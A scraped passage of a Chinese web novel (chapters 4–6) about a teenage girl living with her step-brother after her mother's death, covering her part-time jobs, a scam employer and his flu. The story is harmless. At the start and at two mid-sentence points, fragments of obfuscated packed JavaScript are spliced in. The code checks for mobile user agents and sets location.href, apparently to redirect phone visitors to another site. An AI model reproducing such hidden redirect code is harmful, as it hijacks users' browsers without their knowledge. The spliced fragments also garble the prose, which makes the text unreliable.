l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198015|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那两千怎么来的,把家里东西都翻翻卖了?” 语毕,见蓝柯点头,蓝羡之咒骂了蓝程朗一句混蛋,看来孟忍冬的钱一分也没留下来,全给他拿来还债了。 出事前几天,蓝程朗莫名给过他一张卡,里面有两三万,这会反应过来他没多留一分给蓝柯,蓝羡之气笑,语塞了一阵不知道该说什么。 还以为他是真喜欢孟忍冬,现在看来是谁都坑。 不咸不淡扯了两下唇,他抬手把桌上的一沓钱拿起来数,确实有零有整,抬眼,蓝柯还是那副苦瓜样坐着,整个人像又黄又枯的草,眼睛闪了两下,蓝羡之把钱推回去,“你知道我刚高考完吧?” 不懂他要说什么,蓝柯木木点头。 “这房子我住不了多久,我走了你爱租哪租哪,至于现在,你就当我爸在还你们母女债吧。”蓝羡之再混也有点良心,现在要是把她丢路边,他们老蓝家以后估计一点善报都没了。 时间一晃到七月份,因为天比之前热得多,她经常一成一夜睡不着,第二天起来背上还全是汗。 没办法,蓝柯咬牙去二手市场淘了台电风扇,可回来,看着手里又少了点的票子,她心慢慢慌起来。 发q联系了几个干过暑假工的同学,蓝柯想找份正经工作,可惜没人搭她腔调。 实在没招了,次日,蓝柯一大早背着书包去了奶茶店里等人。 “没有一个靠谱的!”把齐天锡在电线杆子上撕的小广告全看了遍,她无语挠头,什么叫重金悬赏找人,黑白打印连个人脸都看不清,怎么找,他居然连这个都信,“对了,溪溪还没来吗?” 蓝柯在初中就岑溪齐天锡两个玩得好的朋友。 “没。”摇了摇头,齐天锡往蓝柯那瞟,她家的事他跟岑溪也是前几天听人说的,后来跟她发信息她也不回,“那个…你没事吧?” 反应过来齐天锡结巴什么,蓝柯一边翻小广告一边说没,孟忍冬出事也快一个多月了,这段时间她吃也愁住也愁,愁的只有偶尔半夜睡不着才会想她。 挑挑拣拣一堆,两人最后还是决定去发传单,累是累了点,但起码日结还容易上手。 岑溪临时有事来不了,跟齐天锡商量了下,蓝柯准备先帮她预订一个名额。 工作的地方在游乐场,说是要穿着玩偶服发传单,暑假哪都人多,太阳晒得快要把人烤化,套这么厚,才站一会儿齐天锡就热得不行了。 看他站着不动,她边催边吆喝,恨不得快点发完,一天把两天的活干了,“哎哎哎,走过路过不要错过啊!” …… 卖力发了一天的传单,大红票到手,见蓝柯高兴到快蹦起来,齐天锡乐了,把自己钱也让过去,“给你,以前见到四十块怎么没见你这样。” 知道他什么意思,蓝柯道了句谢把钱还回去,“放心吧,我还没穷到那个程度。” 嗯了声,怕晚上不安全,齐天锡还是绕路把蓝柯送了回家。 等到楼下,害怕撞见蓝羡之回来,她就让他赶紧走了,自己抓着钱快步上楼。 “这个点应该还没回……”嘴里嘟囔着,刚打开门,蓝柯就看见蓝羡之黑着脸坐在沙发上,像是要等着审问谁。 4. 呓语 悄悄把钱塞进口袋,蓝柯关上门往客厅走,蓝羡之双腿叉开,大喇喇靠在沙发上,她扫了他一眼不知道说什么,就思忖着要回房。 “去哪了,这么晚还没回来?” 被叫住的一瞬,蓝柯愣了下,差点以为自己听错,主要是在这边也住十几天了,蓝羡之从来没管过她。 犹豫两秒,她随便扯了个借口,“我跟同学出去玩。” “那刚楼底下的是谁?” 哪怕是晚上,暑气也一点没褪。 蓝羡之套了件黑色无袖,浑身跟没骨头似的坐在沙发上盯着她,眸光晦暗不明,“蓝柯,你知道自己多大吗?就学人谈恋爱。” 话落,蓝柯懵了下,反应过来是误会旋即摇头,“不是,那我同学,他…他家也住这边,顺路才送我回来的。” 怕他不信,她又补了句是好几个人一起,这时,蓝羡之才有了点反应,起身去厨房端菜,只撂下句,“吃饭。” 一顿饭吃得别别扭扭,弄不懂蓝羡之什么意思,蓝柯也再没费心思想,只把今天赚的钱叠好,准备明天再大干一场。 次日七点,蓝柯准点起来,可刚接完水要走,她就被人拦在了门口。 蓝羡之插兜站在原地,闲散道:“哪这么好玩,需要一大早就过去?”男人语气淡漠,带着点没睡醒的低哑,“去找你那个小男朋友?” “我说了,我真没谈恋爱。”没时间再跟蓝羡之纠缠,蓝柯推搡着想出门,但他劲太大了,纠缠一番败下阵,她这才如实答,“我要去兼职。” “兼什么职?”蓝羡之懒懒站在一边,掀起眼皮看她。 “发小广告。” “你觉得我信吗?” 盯着他的眼,蓝柯无奈摇头,从兜里拿手机给齐天锡发了条消息,【计划有变,你跟岑溪先去吧。】 “我不想知道你信不信,蓝羡之,但你凭什么管我,你是我哥吗就管。” 耽误一天少四十,想着还没着落的学费,蓝柯喉咙发紧,拧着眉头不知道该讲什么,索性捋了捋头发。 但发丝涩得打结,理也理不开。 “蓝柯,你以为我稀罕管你吗?”蓝羡之这会也气笑了,口腮绷紧,舌尖顶了顶后槽牙。 “你知不知道自己多大,出去兼职谁敢要你,你到底还要被骗多少次?还要我去警察局捞你多少次?” “我知道——”话里带了点哭腔,蓝柯尾音拉长,扯着嗓子喊。 “不然呢,不然怎么办,你是屁股一拍就能出去上大学了,但我还要上初三,蓝羡之,我连高中还没上!你是想让我这辈子都不上学了吗!” “我身上就剩两千了……”说到这,蓝柯肩膀一耸,哇一下哭出声,胸膛上下起伏着,她一句多余的话都没法再说出来。 双手捂着眼睛,蓝柯越哭动静越大,眼泪刷刷从指缝溢出来,最后她索性不管了,把手放下敞开大哭。 真是没见过这种说哭就哭的,也没个预兆。 因为太过突然,蓝羡之脸上这会也挂不住了,冷声说了句别哭,见没人理,他走近把人拽到沙发上,扯了几张纸递过去,“喂,你一天能赚多少钱?” “四…十…”哭得说不出囫囵话,她断断续续答。 听不清,蓝羡之再三确认,“四十?” 话落,蓝柯哭得更大声了。 被这摸不着头脑的泪腺搞懵,蓝羡之站原地愣了两秒,随后叹气,拿手去捂她嘴,“喂,你先别哭了,我给你钱,我给你钱总行了吧。” “啊?”像是也懵了下,蓝柯抬起泪眼看他。 对上她眼点头,蓝羡之回房把钱夹拿出来,抽了一千六,“你九月份开学是吗,现在还剩四十多天,我给你钱,开学前不许给我出去惹麻烦。” “…真的?”带着点试探,蓝柯瓮声瓮气开口。 “钱都拿出来了,什么真的假的。”一股脑把票扔到蓝柯手上,蓝羡之嘱咐,“拿了,这段时间就给我老实呆家里。” 被刚那一阵嚎啕声弄得神经衰弱,看她安静下来,他径直回了床上补觉。 不知道是不是这一千块的缘故,蓝柯后面的日子变得安分起来,连门都不怎么出了。 这段时间她一心预习功课,想考好点拿奖学金。 两点多,她是被手机的振动声吵醒的,才睡半小时,看了眼手机界面,蓝柯强撑着眼接通电话,“喂,溪溪。” “柯柯,齐天锡跟人打架了!” “什么?”头脑猛然清醒过来,她腾地从床上起来,等火急火燎穿好衣服,蓝柯才大概弄懂是怎么回事。 他们找的这个发小广告的是个骗子,第一天把钱发下来骗人,这几天就没发钱了,说是什么过几天一块结,结果干到头了,那人倒是不发了。 岑溪有点怀疑就问了几句,对面估计是看他们小,就给什么好脸色,齐天锡本来就是个暴脾气,一看岑溪被欺负,拳头就挥了上去。 这个点蓝羡之不在家,她往外探了眼,径直往警察局去,十分钟后,打开调解室门,齐天锡正鼻青脸肿坐在里面。 “你没事吧?真行啊,打架什么都不看,光往上冲!”掰着他脸看了眼伤,等仔细检查完,她松了口气放开手。 幸好都是皮外伤,岑溪跑附近药店买了碘伏创可贴,简单给他处理完伤口,三人坐在警察对面受教育。 “今天都算你们运气好的,诈骗组织人不多,人要多了怎么办,还要以暴制暴吗!” “我跟你们说,现在的小孩还是要注意安全,找兼职注意点,听到没!” 几人头捣得像蒜泥,被训了一两个小时,警察坐了口水摆手,“好了,叫你们家长过来接吧。” 话落,仨人面面相觑。 “我不行,蓝羡之才在警察局捞过我,这次再被他发现,我估计会被扫地出门。”蓝柯脸一下苦下来,烦躁搔了搔后颈。 “那怎么办,我爸脾气也爆,要是知道我打人还得了。” 踢皮球踢了好几圈,岑溪终于忍不住了,打电话让她姐过来接。 姐姐过来,三人又听了遍训,随后就各回各家了。 可没走几步,蓝柯又停下,定在原地盘算,六点多,蓝羡之估计已经回去了,这个点回家,不被盘问才怪,而且她才刚答应过他要消停点。 万一被蓝羡之知道又进了警局……晃了晃脑袋,蓝柯找出手机给他消息,【我在打卤面这买饭,你晚上有想吃的吗?】 这个借口好像也说的通,她慢慢抬起步子往前走,正思忖着,那边秒回,【警察局边上也有打卤面是吗,蓝柯?】 “真是出息,一个月进两次警局,下次全青市的警局你是不是都要光临一遍?” 被突然出声的蓝羡之吓了一跳,蓝柯战战兢兢回头,这才发现他一改往常,换了身衬衫黑裤站在她身后。 白衬衫被风吹得鼓着,顺着衣领往上看,蓝羡之黑着脸,一副要收拾自己的样子,没由来倒吸了一口气,蓝柯缩着肩膀重新把头低下,“对不起,但这次不是因为我,是那个——” 话没讲完,蓝羡之就抓着手机往前走了,一点想等她的样子也没有。 蓝柯看了眼,急忙跟上去,但他手长腿长走得快,她慢慢就落了段路,没办法,蓝柯只能加快速度追,不知道这样走了多久,她猛地撞进一个温热的胸膛。 “对不起,对不起!” “别跟着我。” “我…我也回家。” “蓝柯,你是不是忘了我之前说的?”刚找人找得浑身冒热气,解了颗扣子,蓝羡之把衬衫领子往下拽,“别给我惹事,这话你听不懂?” “不是!是齐天锡被骗了,我们之前找的那个贴小广告的是骗——” “那我是不是跟你说了你容易被骗?” 又被打断,蓝柯心里带气,但因为自认理亏还是耐着性子继续解释,“可这事发生的时候我们还没达成一致啊。”当时她一心挣钱,有钱就扑上去了,难免会遇到骗子。 “我懒得跟你掰扯,蓝柯,你爱去哪去哪,别跟着我。”说罢,蓝羡之甩开被抓着的手,径直向前。 “谁稀罕跟你!”蓝柯这会倔脾气也上来了,觉得蓝羡之不可理喻,就没再重新追上去,只盯着他越来越远的背影,泄力蹲在原地。 经刚才那一闹,天已经半黑。 她埋头靠在墙边,一句话都说不出,过了会腿麻了,蓝柯起来,没目的地走了一段路,本想去岑溪那凑合一晚,可她却不知不觉逛回了家里。 抬头,二楼的灯都还亮着,在楼道里呆了会儿,蓝柯脚抬了又抬,但还是犹豫着要不要上去,正纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198016|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结着,门口突然亮了灯。 一楼住着的阿姨端着碗出来了,像是刚吃饭,“小柯?你回来了。” “什么?”懵了下,蓝柯看向邻居阿姨。 “下午你哥来敲门,说是找不到你人,急得都快报警了,到处问有没有碰见过你。”话落,女人端着碗重新进去,独留蓝柯怔忪在台阶上。 喉咙紧得什么声都发不出,沉默片刻,门口灯灭掉。 这边楼梯底下堆的都是八百年不要的破铜烂铁,黑暗里,霉味越来越重,觉得难闻,蓝柯不作声踢了一脚,蓦地,声控灯亮了,以为是自己动静太大,她忙收回脚。 可再抬眼,蓝羡之却插兜站在家门口看她。 两层楼梯交错着,循着缝隙里的光源往上看,蓝柯正好能看清他的表情,阴郁、忍耐,还带着点被吵到的烦躁。 耳根子被臊红,她双唇紧闭着收回视线,僵持在原地没动。 蓝羡之亦然,就这么扫了眼她也没再说话。 楼梯间怪异气氛到处蔓延,慢慢的,声控灯再度关上,见状,蓝柯双腿轻轻挪动着,低着头要走。 可还没转过身,一道男音突然叫住她人,也顺便叫亮了灯,让蓝柯被迫暴露在光亮里不敢再动,“还不进来,你是准备在这喂一夜蚊子?” 话说完,蓝羡之就重新回去了。 反应两秒,蓝柯抬起步子跟上去。 再进门时,客厅已经没了人,往他房间探头看了两秒,她收回视线,目光落在桌上的那碗馄饨上。 指尖覆着碗边,还带着丝丝温热,没再犹豫,蓝柯拿起勺子尝了一口,热汤入胃那刻,她一天的糟心事消解了一半,整个人卸下紧绷的弦。 一天没吃饭,蓝柯没忍住多吃了几个,狼吞虎咽的,连水都急咧咧的没喝一口。 等吃完饭,蓝柯擦了下嘴就急忙回房,撕了张作业本上的纸开始写道歉信,【对不起。】不行,太生硬了,划掉。 【今天的事我知道错了,你能不能……】 写到一半,她再度把这句话也否掉,最后,不知道修修改改团了几张纸,蓝柯终于把纸条写好。 【哥,对不起,还有谢谢。】 小心把东西折好,她蹑手蹑脚拉开房门,把这张小纸片塞到了蓝羡之的门缝下面,知道他不可能一下看到,她蹲在门外面听了会儿动静。 过了会,因为听不到声,蓝柯没忍住小声嘟囔,“怎么一点声音没有,真睡了?” 蚊子还在耳边嗡嗡转着,闹得她头疼,蓝柯把心思转到门外,一巴掌打死了刚才还在转的活物,等看着掌心的一点红,她满意回房。 蓝柯人小心大,道完歉就很快入眠了。 但某人不一样,在床上辗转十几回,直到听到门外面窸窸窣窣的小动静,他悬着的心才彻底放下。 下午有个网课机构面试,他刚跟人面完去客厅喝水,就没见到蓝柯人了,房子里里外外找了一通,本来没想当回事,但看着手机里没打通的十几个未接电话,蓝羡之心里还是有点没底。 最后又在家里干等了一两个小时,他还是认命出去找人。 最近暑假,学生都放出来了,听小区上面的喇叭上一遍遍播着防拐广播,蓝羡之气儿开始不顺,脚下也加快速度,急着把这附近都找一遍。 大概找了一个多小时,等在警局门口见到蓝柯的时候,他快气笑了,心说自己上辈子肯定是造了孽,不然这辈子怎么能三天两头去警察局找人。 算了,还知道给他打蚊子,也是有点良心的。 把刚蹲地上捡的纸扔回桌上,他躺下,可要阖眼,想起门可能还没关,蓝羡之又重新起来。 刚上来的时候怕蓝柯犟着不进,他就留了个门,可以她那傻样,关没关还真不一定。 走出去确认完门窗锁好,蓝羡之径直要回房,可一扭头,他才发现对面房里的灯亮着。 蓝柯房门半掩着,隐约能看到她大喇喇躺床上的样子,夏夜幽静,只偶尔有阵蝉乱叫,房间里,蓝羡之连她轻微的鼾声都能听得一清二楚。 走近把灯关了,他嫌弃地把她掉在地上的被子捡起,又重新给蓝柯掖了掖。 可正准备转身离开,蓝羡之的衣角却被轻轻拽住,回头,女孩低低的呓语传来,轻到听得蓝羡之耳边发痒,“别走…” 5. 发怵 2013年夏,中国大部分地区遭遇历史罕见的高温天气,青市也不例外。 蓝柯出去买个雪糕的功夫都热得满头汗,进门,把脸对准电风扇,感觉到呼呼的风吹过来,她整个人才渐渐缓过来劲。 中午蓝羡之在外面,她就下了把面条凑合。 百无聊赖之际,蓝柯把目光移向他半开的房门前,根据自己这几天的观察,纸条应该是被捡走了,想到这,她长舒了一口气,继续埋头吃面。 天热,蓝柯背上全是汗,就抽空去洗了个澡,出浴室时,看手机里有电话打过来,她狐疑接通,“喂?” “你好,是蓝羡之家属吗?他现在在医院,麻烦您过来一趟。”电话挂断的那刻,蓝柯脑子瞬间炸成空白,反应两秒,她陡然清醒过来,慌忙穿好衣服出门。 医生说蓝羡之是半路晕倒了,被人打120送过来的,现在还在病房输液。 急急赶到医院,刚进大厅,闻到那股熟悉的消毒水味时,她下意识拧紧眉,随即跑着上了楼,“你好,我哥到底是怎么回事?”蓝羡之这会在床上还没醒,蓝柯匆匆扫了眼,忙去问医生。 “流感,中午天本来就热,加上也有点低血压,就脱水晕了,家属下次注意点。” “夏天也会得流感?” “当然,尤其是这种高温天。” 简单了解完情况,蓝柯嗯声坐回病床边。蓝羡之现在还打着点滴,脸上淡得都没什么血色,她看得喉间一哽,不作声把被子往上拉了拉,盯着输液管发呆。 恍惚一阵,蓝羡之枕边的电话突然响起,把她打断,歪头扫了眼,看上面备注的是学生,她犹豫了会,还是出门接通。 “喂?羡之啊,我儿子这两天得了流感,实在没办法上课,我看这课程也没几天了,干脆给你结工资算了。” 回头看了眼病房里的人,蓝柯出声,解释说等蓝羡之醒了再让他回电话。 天不早了,想着他估计还没吃饭,她就去医院楼底下买了点吃的,再上来时蓝羡之已经醒了,靠在床头,“……你没事吧?” “没事。”蓝羡之声音哑透,但还是勉强提着精神扔了个口罩给蓝柯,“离我远点,流感传染。” 点头把口罩戴好,她的视线重新落回蓝羡之身上,他这会脸色煞白,连说话都是虚的,鬼才信没事。 腹诽了句,蓝柯把装粥的透明餐盒打开,隔老远递过去,“哝,医生说了,你要饮食清淡。”说罢,她又后退了点,拿起一个包子开始吃。 蓝羡之这会好多了,就是嘴皮子粘着,粥喝下去都像吞刀片,抬眼,看蓝柯坐一边吃得特香,他饶有兴致盯住她,连手上动作都放慢。 “干嘛?”被盯得发怵,蓝柯别别扭扭放下包子。 摇了摇头,蓝羡之从外套兜里翻出来钱夹,一把丢给她,“去窗口把医药费结了,剩下钱自己看着办。”他虽然算不上什么大善人,但多多少少也有点恻隐之心。 更何况两个香菇馅包子要能吃饱,他跟蓝柯姓。 下面一周,蓝羡之都窝床上没起来过,夏天的流感虽然没冬天频发,但真得了也不好受,前几天高烧,后几天又乏力,他干什么都是耷拉着眼皮没劲,索性除了吃饭都不动了。 第九天好的时候,蓝羡之整个人像是又活了过来。 这几天都是蓝柯给买的饭,虽然也给她钱了,但他想了下,晚上还是下厨做了几道荤的。 蓝柯自诩还是好养活的,只是第一次吃蓝羡之做的菜,鸡蛋放盐太多,排骨没熟,连土豆都切到厚得不行…… 饭再不好吃也不能殴打厨子,深谙这个道理,她不作声扒了两口白米饭,过了会,像是想到什么,蓝柯放下筷子出声,“对了,你家教的工资结没?” 之前跟蓝羡之提过一嘴,不知道他忘没忘。 “嗯,结了。”他这会也吃出菜不行了,思忖着用不用再买饭。 蓝柯倒是早把吃饭的事抛到脑后了,她现在心里有事,眼睛乱飘着,最后还是出声提醒,“你家教那个学生也得流感了。” 蓝羡之前几天一直好好的,两人还住一起,他要是真得了流感她也不会幸免,这么算只可能是他家教时候被传染的。 而且那天听家长的语气,明显是知道孩子生病,还为了多上几节课瞒着蓝羡之,想到这,蓝柯没忍住戳了戳米饭。 “猜到了。”前几天去上课,他一家人都戴着口罩。 但他懒得再浪费口舌去说。 那家人看着也不像多有钱,估计是裤腰带勒紧给孩子请的家教,加上他学生那个妈性格市侩精明,把这事放明面上掰扯,费劲又得不偿失。 蓝羡之倒不是可怜他们,主要是工资也给结了,他这人做事不喜欢做绝,出去凡事留一线,日后也好相见。 可惜蓝柯没这么想,他们两个就像电池两头,一个看着不好惹但不交恶,另一个倒是看着老实,就是性格睚眦必报。回想起这些天治流感倒贴的钱,她没忍住开口,“那就这么算了?” “怎么,你要给我出头?”嘴边挂着笑,蓝羡之喝了口水调侃。 “没。”从他话里品出几分嘲弄意味,觉得自己多管闲事,蓝柯就没再接话径直回房了。 她一生气就一副闷样子,眼睛瞪着,看着明明都要冒火了,却永远忍着不发泄,见状,蓝羡之笑得直耸肩,喊她,“喂,我去买饭,你吃不吃?” 话落,没人应。 他尴尬搔了搔后颈。 出头这事也就此不了了之。 当时蓝羡之以为流感这账已经翻篇,却不承想,这事在几天后又有了后续。 这几天改作业,蓝羡之发现有本教材落精明妈那了,他没时间,就花钱让蓝柯去跑腿,可惜自己失策忘了她是个倔脾气。 按着地图走,到地方时,蓝柯敲了敲门,你好还没说出口,对面女人先出声了,“你就是羡之他妹?卷子在这儿,拿走吧。” 点头,她接过东西,顺便往精明妈身上扫了眼。 她还带着口罩,看起来像是也还没好,害怕传染,蓝柯不自觉往后退了两步,谁知道这一退把面前女人的脾气点爆了,“小姑娘,不是我说,流感又不是瘟疫,你有什么可躲的,肢体传染不了!” 被陡然拔高的嗓音吓了一跳,蓝柯这会也没了耐心,攥紧本子质问,“阿姨,听您这意思,应该也知道流感会传染吧,那为什么不提醒我哥?他前段时间刚好。” “哎,我说你真够不讲理的!”女人急了,再度扬起声音,“戴口罩是他的事,我怎么能提醒?” “而且现在的年轻人一个比一个惜命,我要是说了流感,你哥还愿意来吗?” 眉头直跳,本来不想理这种蛮不讲理的人,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198017|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝柯又咽不下这口气,只好抓了把头发跟她掰扯,“不是阿姨,我哥之前压根没事,就是给你们上完课那天倒外面的!” “再说了,这么去医院走一遭,他医药费都不够倒贴——” 话说着,她蓦地被女人打断,“原来是他得流感了啊,我说呢,我家儿子怎么从上周开始就一直咳嗽。” 被这话搞得整个人顿住,蓝柯失笑,突然觉得自己太蠢了,压根不该跟这种人讲道理! 揉了揉太阳穴,她干脆转身,可刚走两步,身后突然响起一道干哑的声音,估摸着是上了点年纪,“小琴,刚跟谁吵架呢?” “妈你别管了,一小孩!” 蓝柯听得拳头重新硬起来,刚要忍着快步回去,突然有人拉住她,往她手里塞了两百块钱,“姑娘,对不住啊,小琴她这几天事多,脾气不好你多担待。” 说罢,屋内响起一道亢骂声,“林建华,你天天仗着生点病就在家吃干饭是吗,谁得病不是扛过去的,就你娇贵,家里多少天没开张了。” “我说了,这病传染,人家不让去。” “是不让去还是不想去你心里清楚。” 里面吵得厉害,蓝柯也一字不落听清了,手里抓着刚被硬塞的两百块钱,她现在退也不是,进也不是。 再回神时,那女人也出来了,捞着老年人的手问,“妈你给她钱干嘛?” 蓝柯被这话逗笑,随即收回刚生出的同情心,“阿姨,你自己也上有老下有小的,不知道为了省点钱给别人传病是多缺德的事吗,下次自己家都管不了了,就少管别人了。” “你!”女人手指头指向蓝柯,像是要发飙,但最后不知道是理亏还是怎样,只憋出了句,“让你哥过来,我不跟你胡扯。” 蓝柯这会吵得气血翻涌,也忘了别的,只顾实话实说,“呵,阿姨,你以为他管的了我吗,现在叫谁来都没用!” 此话一出,蹲旁边玩打火机的人乐了。 蓝羡之掀起眼皮往蓝柯那看,她这会已经吵上头了,气得吹胡子瞪眼,等了会,听蓝柯气出的差不多,他走过去,把她手里的钱还回去,又把人拎走。 不知道蓝羡之什么时候来的,蓝柯想问,可话到嘴边却成了,“你干嘛把钱还回去,就该拿着的。” “行了。”有一搭没一搭转着打火机,蓝羡之悠悠往前走。 被这话气得揣火,蓝柯别扭停下,连声音都不自觉拔高,“什么叫行了,我本来都不想管的,还不是因为帮你出头——” “不是我说,你什么理解力?”有点被气笑,蓝羡之回头站定,语气多少带着点无奈,“我的意思是,行了,别想了,气也出了,别人过得怎么样跟你没关系,少大发善心。” “谁发善……”反应过来,蓝柯硬生生把话咽下去,多少有点被看透的尴尬。 其实她就是想到陈平了。 脑中思绪乱飞着,抿了抿唇,她没再讲话自顾自往前走,不知道过了多久,一道男音陡然打断她思绪。 “喂,今天谢了。” 这会太阳已经下山,凉风一阵阵吹过来,吹得蓝羡之白t鼓起来,也吹得她散了点燥气,头一次听他这么正经地说话,蓝柯抬眸看向眼面前人,不自在摇头,“没事。” 发丝被风刮得往前飘,她捋了捋头发,跟着蓝羡之,步子却忍不住一点点放慢。 6. 雏鸟 八月比想象中来得早,也比想象中过得快。 初三开学早,去学校前两天,蓝柯收拾好东西,去了趟菜市场买菜,这一个多月托蓝羡之的福自己没流离失所,怎么说都该感谢的。 最近家这边的灯坏了,她顺着远处昏暗的路灯光往前走,想着买的菜能做点什么。 塑料袋勒人,刚要换个手拎,身后突然传来道窸窸窣窣的脚步声,听得心中一紧,蓝柯下意识加快脚步。 往前看,这条道上没人,连监控都没装,只剩几只知了嗡嗡叫。 一颗心吊在嗓子眼,蓝柯嘴唇发白,握紧手机要打电话给蓝羡之。 快走到拐角,眼见脚步声越来越近,她急急往前跑,衣角却突然被人拉了一下。 “陈珂。” “别过来!” 两道声音重叠,蓝柯手里的菜掉了一地。 “是我,小柯。”闻到浑身的酒气,她僵硬回头,这才发现身后站着陈平,下意识拧紧眉,蓝柯问,“你来干什么,你怎么找到我的?” “我打电话你一直没接,就想着过来看看。” 这边视线不好,蓝柯只能看见陈平佝着腰,几年不见,他又老了不少,身上还是那身军绿夹克,不知道过了多少趟水。 “你要干什么?” “我刚知道你妈走了。” 看不惯他一副假惺惺样子,蓝柯冷笑两声,双唇随即绷成一条线,“陈平,你别恶心我了,你什么时候管过我。” “小柯,你听爸的,你现在才高……”像是摸不准她年龄,陈平嘴皮子打假,悻悻换了种说法,“你还在上学,现在除了我,还有谁能管你?” “我哥。”听烦了,蓝柯蹲地上把菜捡回塑料袋里,快步要走。 奈何身后人跟狗皮膏药一样跟着她,最后实在受不了了,她停下,忍不住发火,“陈平,你到底要干什么!” “小柯,你妈都不在了,你真以为你那个哥靠得住?我们才是一家人,走,跟我回去。”陈平作势去拉她,但拉了两下没拉动。 两人就这么僵着,过了会,怕蓝柯不相信,他连忙举起三根手指头保证,“你放心,等这次你回了家,我一定不吸烟不喝酒,好好出去找活干。” 这些话听了无数遍,蓝柯耳朵都起茧子了,“你拿这些话骗骗我妈得了,别连我都想骗。” 话落,她自顾自往前走。 陈平这时急了,连忙拉住蓝柯手,说是自己都做错了,让她打他一巴掌,让她解气。 巷子里闷不见光,像是蒙了层破抹布,走都走不到头,蓝柯双手紧攥到指关节发白,最后没忍住一巴掌要呼上去。 可抬起的手还没落地,陈平突然被拽到墙边。 “你没事吧。”蓝羡之抓着她手腕看了眼,像是在检查。 温热的触感从手边传来,像闷太久的鼻子透过气,蓝柯如释重负摇头。 手被塑料袋勒得疼,她把东西递给蓝羡之,又朝陈平走了两步,警告道:“你离我远点,下次再过来找我我就直接报警了。” 说完,她拉着蓝羡之径直离开。 两人又走了段路,等回家,他把菜放桌上问,“刚那人是谁?” “……我爸。”不过她已经很久不这么叫了。 蓝羡之大喇喇坐沙发上,想起下葬那会的事,嘴里不自觉冒出了句,“怪不得。”怪不得当时宁愿跟他都不愿意去找亲爸。 西红柿摔得一袋子水,勉强挑出来几个还有形的菜,蓝柯纠结半天,准备做个拌黄瓜、土豆丝,再用高压锅炖个排骨。 从搬进来到现在,蓝羡之估计都没用过厨房,害怕高压锅不干净,她挤了泵洗洁精,结果刚把锅拿起来,身旁就有人把东西接过。 “要洗?” 愣了下,蓝柯点头。 “你很会做饭?”不知道她今天为什么突然做饭,蓝羡之边接水边往旁边看,蓝柯切菜麻利,像是经常干。 拿手试油温的手一顿,她嗯了声回:“还行。” 蓝柯小学时候,陈平犯事进去过几年,孟忍冬一个人带她,早出晚归的也没时间做饭,就会给几块钱让蓝柯去学校门口买吃的。 但孟忍冬对学校物价没个准,不知道她一天就只买得起两块酱香饼,正长身体的年纪,蓝柯饿得心慌,没办法,就这样一点点被逼着学会了做饭。 除了排骨压得久点,其他菜上桌快,蓝柯没一会也就做好了,盛好饭,她捻紧筷子,一口气提到嗓子头才出声,“我过两天就开学了,这段时间谢谢。” 话落,蓝羡之夹菜的动作滞了一瞬,随即顺势放筷子下,抬眼看向蓝柯。 她还是跟当初来的时候一样,像只孱弱的雏鸟,跟油光水滑不搭边,苍白、干瘦、脆弱,枯草一样随意一碾都能被碾碎。 过了会,雏鸟说话了,她拿了张银行卡出来,推到他手边,说这是当初他给的一千六百块钱,原封不动还回去,就当收留她的感谢。 糙米卡嗓子眼,蓝羡之没管那张卡,给自己倒了杯水喝,等气顺下来,他手有一搭没一搭点着桌子,问道:“真舍得给我?那你下学期怎么办,找你爸?” “到时候再说吧。”蓝柯摇了摇头。 心说,未来太长了,长到她不敢想。 指甲盖一点点摩擦着衣角,像经历了场拉锯战。半晌后,蓝柯还是重新抬起头,缓缓开口,“我后天开学,东西已经收拾好了,等走的时候会把房间恢复成原样。” “钱你收着吧,我舍得给,而且我妈的墓地钱也是你掏的,就当还回去了。” 头顶光太亮,照得蓝羡之一阵晕,视线糊了几秒,再睁开,映入眼帘的是蓝柯微微扇动着的睫毛——跟雏鸟的翅膀一样,柔软易折。 点桌子的指尖顿住,他盯着那张银行卡,长叹一口气,“几点?我送你过去。” “啊?”反应两秒,蓝柯摆手拒绝,“不用,你应该也快开学了吧,我自己去就行。” “没,还有几天。” “你不提前走?” “蓝柯,我在青大。” 话落,蓝柯捏着衣角的手倏地松开,像是拉锯战结束,她掌心骤然间空落落的。 可心里却像是填满了块。 目光掠过桌上的菜落到蓝羡之身上,盯着他挺阔的肩背,蓝柯双唇翕动,突然有点眼热。 开学当天,太阳毒辣。 被晒得脚底板发烫,蓝羡之快步往前走,帮蓝柯把东西搬到了宿舍门口,“饭卡我充过了,应该能管一个月,不够再问我要。”说罢,他又拿了几百块钱递过去,“现金也拿点,万一要用。” “不用,我在学校除了吃饭没什么别的花销。”连孟忍冬这几年都没送她来上过学,这会站台阶上,蓝柯手僵在半空中没动,鼻子发酸。 最后,蓝羡之把钱硬塞给她走了。 望着他渐远的背影,蓝柯拎着行李箱转身,上了楼梯。 初三的日子单调沉抑,几乎天天都是宿舍食堂教学楼三点一线,但她倒觉得还好,自己性格闷,加上跟岑溪齐天锡都不在一个班,蓝柯一进教室就是埋头做卷子,哪都不去,也不怎么跟人说话,卯足了劲想考好点。 她已经打听过了,中考考得好,就算不进一中,二中也会主动招,而且免学费,这样上了高中就不用蓝羡之给她掏钱了。 